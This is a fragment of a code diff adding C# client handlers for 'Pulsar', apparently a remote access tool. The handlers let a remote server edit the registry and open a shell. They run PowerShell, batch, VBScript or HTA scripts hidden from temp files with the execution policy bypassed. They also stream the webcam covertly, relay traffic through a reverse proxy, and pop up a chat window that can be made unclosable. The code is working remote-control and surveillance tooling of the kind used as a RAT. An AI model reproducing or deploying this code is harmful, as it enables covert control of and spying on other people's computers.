}
|
||||
|
||||
private void Execute(ISender client, DoRenameRegistryKey message)
|
||||
{
|
||||
GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse();
|
||||
string errorMsg;
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.ParentPath = message.ParentPath;
|
||||
responsePacket.OldKeyName = message.OldKeyName;
|
||||
responsePacket.NewKeyName = message.NewKeyName;
|
||||
|
||||
client.Send(responsePacket);
|
||||
}
|
||||
|
||||
|
||||
private void Execute(ISender client, DoCreateRegistryValue message)
|
||||
{
|
||||
GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse();
|
||||
string errorMsg;
|
||||
string newKeyName = "";
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault());
|
||||
responsePacket.KeyPath = message.KeyPath;
|
||||
|
||||
client.Send(responsePacket);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoDeleteRegistryValue message)
|
||||
{
|
||||
GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse();
|
||||
string errorMsg;
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.ValueName = message.ValueName;
|
||||
responsePacket.KeyPath = message.KeyPath;
|
||||
|
||||
client.Send(responsePacket);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoRenameRegistryValue message)
|
||||
{
|
||||
GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse();
|
||||
string errorMsg;
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.KeyPath = message.KeyPath;
|
||||
responsePacket.OldValueName = message.OldValueName;
|
||||
responsePacket.NewValueName = message.NewValueName;
|
||||
|
||||
client.Send(responsePacket);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoChangeRegistryValue message)
|
||||
{
|
||||
GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse();
|
||||
string errorMsg;
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.KeyPath = message.KeyPath;
|
||||
responsePacket.Value = message.Value;
|
||||
|
||||
client.Send(responsePacket);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages.UserSupport.RemoteChat;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class RemoteChatHandler : IMessageProcessor
|
||||
{
|
||||
private static Thread _chatThread;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoChat || message is DoKillChatForm || message is DoStartChatForm || message is DoChatAction;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoChat Msg:
|
||||
HandleDoChatMessage(sender, Msg);
|
||||
break;
|
||||
case DoStartChatForm Msg:
|
||||
HandleDoChatStart(sender, Msg);
|
||||
break;
|
||||
case DoKillChatForm Msg:
|
||||
HandleDoChatStop(sender, Msg);
|
||||
break;
|
||||
case DoChatAction Msg:
|
||||
HandleChatAction(sender, Msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
public void HandleChatAction(ISender sender, DoChatAction msg)
|
||||
{
|
||||
var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"];
|
||||
if (frmChat != null)
|
||||
{
|
||||
frmChat.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
frmChat.txtMessages.Clear();
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleDoChatStart(ISender client, DoStartChatForm getChat)
|
||||
{
|
||||
|
||||
if (_chatThread != null && _chatThread.IsAlive)
|
||||
return;
|
||||
|
||||
_chatThread = new Thread(() =>
|
||||
{
|
||||
var frmChat = new FrmRemoteChat(client);
|
||||
frmChat.Text = getChat.Title;
|
||||
frmChat.txtMessages.Text = getChat.WelcomeMessage;
|
||||
if (getChat.DisableClose == true)
|
||||
{
|
||||
frmChat.ControlBox = false;
|
||||
}
|
||||
frmChat.txtMessage.Enabled = getChat.DisableType;
|
||||
|
||||
Application.Run(frmChat);
|
||||
frmChat.TopMost = getChat.TopMost;
|
||||
frmChat.BringToFront();
|
||||
});
|
||||
_chatThread.SetApartmentState(ApartmentState.STA);
|
||||
_chatThread.Start();
|
||||
}
|
||||
|
||||
public static void HandleDoChatMessage(ISender client, DoChat packet)
|
||||
{
|
||||
var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"];
|
||||
if (frmChat != null)
|
||||
{
|
||||
frmChat.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
frmChat.AddMessage(packet.User, packet.PacketDms);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleDoChatStop(ISender client, DoKillChatForm packet)
|
||||
{
|
||||
var frmChat = (FrmRemoteChat)Application.OpenForms["FrmRemoteChat"];
|
||||
if (frmChat != null)
|
||||
{
|
||||
frmChat.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
frmChat.Active = false;
|
||||
frmChat.Close();
|
||||
});
|
||||
}
|
||||
|
||||
if (_chatThread != null && _chatThread.IsAlive)
|
||||
{
|
||||
_chatThread.Join(500);
|
||||
_chatThread = null;
|
||||
}
|
||||
else
|
||||
{
|
||||
_chatThread = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,123 @@
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.IpGeoLocation;
|
||||
using Pulsar.Client.User;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net.NetworkInformation;
|
||||
using Pulsar.Client.IO;
|
||||
using Pulsar.Common.Messages.Administration.SystemInfo;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages.UserSupport.MessageBox;
|
||||
using System.Threading;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class RemoteScriptingHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoExecScript;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoExecScript msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoExecScript message)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
|
||||
|
||||
if (message.Language == "Powershell")
|
||||
{
|
||||
tempFile += ".ps1";
|
||||
File.WriteAllText(tempFile, message.Script);
|
||||
ProcessStartInfo psi = new ProcessStartInfo("powershell", "-ExecutionPolicy Bypass -File " + tempFile)
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = message.Hidden,
|
||||
UseShellExecute = false
|
||||
};
|
||||
Process process = Process.Start(psi);
|
||||
process.WaitForExit();
|
||||
File.Delete(tempFile);
|
||||
}
|
||||
else if (message.Language == "Batch")
|
||||
{
|
||||
tempFile += ".bat";
|
||||
File.WriteAllText(tempFile, message.Script);
|
||||
ProcessStartInfo psi = new ProcessStartInfo("cmd", "/c " + tempFile)
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = message.Hidden,
|
||||
UseShellExecute = false
|
||||
};
|
||||
Process process = Process.Start(psi);
|
||||
process.WaitForExit();
|
||||
File.Delete(tempFile);
|
||||
}
|
||||
else if (message.Language == "VBScript")
|
||||
{
|
||||
tempFile += ".vbs";
|
||||
File.WriteAllText(tempFile, message.Script);
|
||||
ProcessStartInfo psi = new ProcessStartInfo("cscript", tempFile)
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = message.Hidden,
|
||||
UseShellExecute = false
|
||||
};
|
||||
Process process = Process.Start(psi);
|
||||
process.WaitForExit();
|
||||
File.Delete(tempFile);
|
||||
}
|
||||
else if (message.Language == "JavaScript")
|
||||
{
|
||||
if (message.Script.Contains("WScript.") || message.Script.Contains("ActiveXObject"))
|
||||
{
|
||||
tempFile += ".js";
|
||||
File.WriteAllText(tempFile, message.Script);
|
||||
ProcessStartInfo psi = new ProcessStartInfo("cscript", "//Nologo " + tempFile)
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = message.Hidden,
|
||||
UseShellExecute = false
|
||||
};
|
||||
Process process = Process.Start(psi);
|
||||
process.WaitForExit();
|
||||
File.Delete(tempFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
tempFile += ".hta";
|
||||
string scriptContent = "<html><head><hta:application windowstate='minimize'></hta:application></head><body><script>" + message.Script + "</script></body></html>";
|
||||
File.WriteAllText(tempFile, scriptContent);
|
||||
ProcessStartInfo psi = new ProcessStartInfo("mshta", tempFile)
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = message.Hidden,
|
||||
UseShellExecute = true
|
||||
};
|
||||
Process process = Process.Start(psi);
|
||||
if (!process.WaitForExit(5000))
|
||||
{
|
||||
process.Kill();
|
||||
}
|
||||
File.Delete(tempFile);
|
||||
}
|
||||
}
|
||||
})
|
||||
{ IsBackground = true }.Start();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
using Pulsar.Client.IO;
|
||||
using Pulsar.Client.Networking;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.RemoteShell;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles messages for the interaction with the remote shell.
|
||||
/// </summary>
|
||||
public class RemoteShellHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// The current remote shell instance.
|
||||
/// </summary>
|
||||
private Shell _shell;
|
||||
|
||||
/// <summary>
|
||||
/// The client which is associated with this remote shell handler.
|
||||
/// </summary>
|
||||
private readonly PulsarClient _client;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="RemoteShellHandler"/> class using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The associated client.</param>
|
||||
public RemoteShellHandler(PulsarClient client)
|
||||
{
|
||||
_client = client;
|
||||
_client.ClientState += OnClientStateChange;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Handles changes of the client state.
|
||||
/// </summary>
|
||||
/// <param name="s">The client which changed its state.</param>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
private void OnClientStateChange(Networking.Client s, bool connected)
|
||||
{
|
||||
// close shell on client disconnection
|
||||
if (!connected)
|
||||
{
|
||||
_shell?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public bool CanExecute(IMessage message) => message is DoShellExecute;
|
||||
|
||||
/// <inheritdoc />
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
/// <inheritdoc />
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoShellExecute shellExec:
|
||||
Execute(sender, shellExec);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoShellExecute message)
|
||||
{
|
||||
string input = message.Command;
|
||||
|
||||
if (_shell == null && input == "exit") return;
|
||||
if (_shell == null) _shell = new Shell(_client);
|
||||
|
||||
if (input == "exit")
|
||||
_shell.Dispose();
|
||||
else
|
||||
_shell.ExecuteCommand(input);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_shell?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,435 @@
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Video;
|
||||
using Pulsar.Common.Video.Codecs;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Diagnostics;
|
||||
using Pulsar.Common.Messages.Webcam;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using System.Collections.Concurrent;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class RemoteWebcamHandler : NotificationMessageProcessor, IDisposable
|
||||
{
|
||||
private UnsafeStreamCodec _streamCodec;
|
||||
private BitmapData _webcamData = null;
|
||||
private Bitmap _webcam = null;
|
||||
private ISender _clientMain;
|
||||
private Thread _captureThread;
|
||||
private WebcamHelper _webcamHelper;
|
||||
|
||||
private WebcamHelper WebcamHelper
|
||||
{
|
||||
get
|
||||
{
|
||||
if (_webcamHelper == null)
|
||||
{
|
||||
_webcamHelper = new WebcamHelper();
|
||||
}
|
||||
return _webcamHelper;
|
||||
}
|
||||
}
|
||||
|
||||
private CancellationTokenSource _cancellationTokenSource;
|
||||
|
||||
// frame control variables
|
||||
private readonly ConcurrentQueue<byte[]> _frameBuffer = new ConcurrentQueue<byte[]>();
|
||||
private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false);
|
||||
private int _pendingFrameRequests = 0;
|
||||
|
||||
// max buffer size to prevent memory issues
|
||||
private const int MAX_BUFFER_SIZE = 10;
|
||||
|
||||
private readonly Stopwatch _stopwatch = new Stopwatch();
|
||||
private int _frameCount = 0;
|
||||
private float _lastFrameRate = 0f;
|
||||
private bool _sendFrameRateNext = false;
|
||||
|
||||
private MemoryStream _reusableStream;
|
||||
|
||||
private MemoryStream ReusableStream
|
||||
{
|
||||
get
|
||||
{
|
||||
if (_reusableStream == null)
|
||||
{
|
||||
_reusableStream = new MemoryStream();
|
||||
}
|
||||
return _reusableStream;
|
||||
}
|
||||
}
|
||||
|
||||
public override bool CanExecute(IMessage message) => message is GetWebcam ||
|
||||
message is GetAvailableWebcams;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetWebcam msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case GetAvailableWebcams msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetWebcam message)
|
||||
{
|
||||
if (message.Status == RemoteWebcamStatus.Stop)
|
||||
{
|
||||
StopWebcamStreaming();
|
||||
}
|
||||
else if (message.Status == RemoteWebcamStatus.Start)
|
||||
{
|
||||
StartWebcamStreaming(client, message);
|
||||
}
|
||||
else if (message.Status == RemoteWebcamStatus.Continue)
|
||||
{
|
||||
// server is requesting more frames
|
||||
Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested);
|
||||
_frameRequestEvent.Set();
|
||||
}
|
||||
}
|
||||
|
||||
private void StartWebcamStreaming(ISender client, GetWebcam message)
|
||||
{
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
WebcamHelper.StartWebcam(message.DisplayIndex);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error starting webcam: {ex.Message}");
|
||||
OnReport("Failed to start webcam: " + ex.Message);
|
||||
return;
|
||||
}
|
||||
Debug.WriteLine("Starting remote webcam session");
|
||||
|
||||
var webcamBounds = WebcamHelper.GetBounds();
|
||||
var resolution = new Resolution { Height = webcamBounds.Height, Width = webcamBounds.Width };
|
||||
|
||||
try
|
||||
{
|
||||
if (_streamCodec == null)
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
|
||||
if (message.CreateNew)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
OnReport("Remote webcam session started");
|
||||
}
|
||||
|
||||
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error initializing stream codec: {ex.Message}");
|
||||
OnReport("Failed to initialize stream codec: " + ex.Message);
|
||||
return;
|
||||
}
|
||||
|
||||
_clientMain = client;
|
||||
|
||||
// clear any pending frame requests and existing frames
|
||||
ClearFrameBuffer();
|
||||
Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested);
|
||||
|
||||
if (_captureThread == null || !_captureThread.IsAlive)
|
||||
{
|
||||
try
|
||||
{
|
||||
_cancellationTokenSource = new CancellationTokenSource();
|
||||
_captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token));
|
||||
_captureThread.Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error starting capture thread: {ex.Message}");
|
||||
OnReport("Failed to start capture thread: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Unexpected error in StartWebcamStreaming: {ex.Message}");
|
||||
OnReport("Unexpected error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void StopWebcamStreaming()
|
||||
{
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
WebcamHelper.StopWebcam();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error stopping webcam: {ex.Message}");
|
||||
}
|
||||
Debug.WriteLine("Stopping remote webcam session");
|
||||
|
||||
_cancellationTokenSource?.Cancel();
|
||||
|
||||
if (_captureThread != null && _captureThread.IsAlive)
|
||||
{
|
||||
try
|
||||
{
|
||||
_frameRequestEvent.Set(); // wake up thread
|
||||
_captureThread.Join();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error joining capture thread: {ex.Message}");
|
||||
}
|
||||
_captureThread = null;
|
||||
}
|
||||
|
||||
if (_webcam != null)
|
||||
{
|
||||
if (_webcamData != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_webcam.UnlockBits(_webcamData);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error unlocking bits: {ex.Message}");
|
||||
}
|
||||
_webcamData = null;
|
||||
}
|
||||
try
|
||||
{
|
||||
_webcam.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error disposing webcam: {ex.Message}");
|
||||
}
|
||||
_webcam = null;
|
||||
}
|
||||
|
||||
if (_streamCodec != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_streamCodec.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error disposing stream codec: {ex.Message}");
|
||||
}
|
||||
_streamCodec = null;
|
||||
}
|
||||
|
||||
// clear the buffer
|
||||
ClearFrameBuffer();
|
||||
Interlocked.Exchange(ref _pendingFrameRequests, 0);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Unexpected error in StopWebcamStreaming: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void BufferedCaptureLoop(CancellationToken cancellationToken)
|
||||
{
|
||||
Debug.WriteLine("Starting buffered capture loop");
|
||||
_stopwatch.Start();
|
||||
|
||||
while (!cancellationToken.IsCancellationRequested)
|
||||
{
|
||||
try
|
||||
{
|
||||
// wait for frame requests if the buffer is full or no frames are requested
|
||||
if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0)
|
||||
{
|
||||
Debug.WriteLine($"Waiting for frame requests. Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}");
|
||||
_frameRequestEvent.WaitOne(500);
|
||||
|
||||
// if cancellation was requested during the wait
|
||||
if (cancellationToken.IsCancellationRequested)
|
||||
break;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
// capture frame and add to buffer
|
||||
byte[] frameData = CaptureFrame();
|
||||
if (frameData != null)
|
||||
{
|
||||
_frameBuffer.Enqueue(frameData);
|
||||
|
||||
// increment frame counter for statistics
|
||||
_frameCount++;
|
||||
if (_stopwatch.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
Debug.WriteLine($"Capture FPS: {_frameCount}, Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}");
|
||||
_lastFrameRate = _frameCount;
|
||||
_frameCount = 0;
|
||||
_stopwatch.Restart();
|
||||
_sendFrameRateNext = true;
|
||||
}
|
||||
}
|
||||
|
||||
// send frames if we have pending requests
|
||||
while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend))
|
||||
{
|
||||
SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error in buffered capture loop: {ex.Message}");
|
||||
Thread.Sleep(100); // Avoid tight loop in case of repeated errors
|
||||
}
|
||||
}
|
||||
|
||||
Debug.WriteLine("Buffered capture loop ended");
|
||||
}
|
||||
|
||||
private byte[] CaptureFrame()
|
||||
{
|
||||
try
|
||||
{
|
||||
_webcam = WebcamHelper.GetLatestFrame();
|
||||
|
||||
if (_webcam == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
|
||||
Bitmap processedBitmap = _webcam;
|
||||
|
||||
if (_webcam.PixelFormat != codecPixelFormat)
|
||||
{
|
||||
try
|
||||
{
|
||||
processedBitmap = new Bitmap(_webcam.Width, _webcam.Height, codecPixelFormat);
|
||||
using (Graphics g = Graphics.FromImage(processedBitmap))
|
||||
{
|
||||
g.DrawImage(_webcam, 0, 0, _webcam.Width, _webcam.Height);
|
||||
}
|
||||
_webcam.Dispose();
|
||||
_webcam = processedBitmap;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
|
||||
processedBitmap = _webcam;
|
||||
}
|
||||
}
|
||||
|
||||
_webcamData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
||||
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
|
||||
|
||||
ReusableStream.Position = 0;
|
||||
ReusableStream.SetLength(0);
|
||||
|
||||
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
|
||||
_streamCodec.CodeImage(_webcamData.Scan0,
|
||||
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
||||
new Size(processedBitmap.Width, processedBitmap.Height),
|
||||
processedBitmap.PixelFormat, ReusableStream);
|
||||
|
||||
return ReusableStream.ToArray();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error capturing frame: {ex.Message}");
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (_webcamData != null)
|
||||
{
|
||||
_webcam.UnlockBits(_webcamData);
|
||||
_webcamData = null;
|
||||
}
|
||||
_webcam?.Dispose();
|
||||
_webcam = null;
|
||||
}
|
||||
}
|
||||
|
||||
private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame)
|
||||
{
|
||||
if (frameData == null || _clientMain == null) return;
|
||||
|
||||
try
|
||||
{
|
||||
var response = new GetWebcamResponse
|
||||
{
|
||||
Image = frameData,
|
||||
Quality = _streamCodec.ImageQuality,
|
||||
Monitor = _streamCodec.Monitor,
|
||||
Resolution = _streamCodec.Resolution,
|
||||
IsLastRequestedFrame = isLastRequestedFrame,
|
||||
FrameRate = 0f
|
||||
};
|
||||
|
||||
if (_sendFrameRateNext)
|
||||
{
|
||||
response.FrameRate = _lastFrameRate;
|
||||
_sendFrameRateNext = false;
|
||||
}
|
||||
|
||||
_clientMain.Send(response);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error sending frame to server: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void ClearFrameBuffer()
|
||||
{
|
||||
while (_frameBuffer.TryDequeue(out _)) { }
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetAvailableWebcams message)
|
||||
{
|
||||
client.Send(new GetAvailableWebcamsResponse { Webcams = WebcamHelper.GetWebcams() });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
StopWebcamStreaming();
|
||||
_streamCodec?.Dispose();
|
||||
_cancellationTokenSource?.Dispose();
|
||||
_frameRequestEvent?.Dispose();
|
||||
_reusableStream?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
using Pulsar.Client.Networking;
|
||||
using Pulsar.Client.ReverseProxy;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.ReverseProxy;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class ReverseProxyHandler : IMessageProcessor
|
||||
{
|
||||
private readonly PulsarClient _client;
|
||||
|
||||
public ReverseProxyHandler(PulsarClient client)
|
||||
{
|
||||
_client = client;
|
||||
}
|
||||
|
||||
public bool CanExecute(IMessage message) => message is ReverseProxyConnect ||
|
||||
message is ReverseProxyData ||
|
||||
message is ReverseProxyDisconnect;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case ReverseProxyConnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case ReverseProxyData msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case ReverseProxyDisconnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, ReverseProxyConnect message)
|
||||
{
|
||||
_client.ConnectReverseProxy(message);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, ReverseProxyData message)
|
||||
{
|
||||
ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
|
||||
|
||||
proxyClient?.SendToTargetServer(message.Data);
|
||||
}
|
||||
private void Execute(ISender client, ReverseProxyDisconnect message)
|
||||
{
|
||||
ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
|
||||
|
||||
socksClient?.Disconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.Actions;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
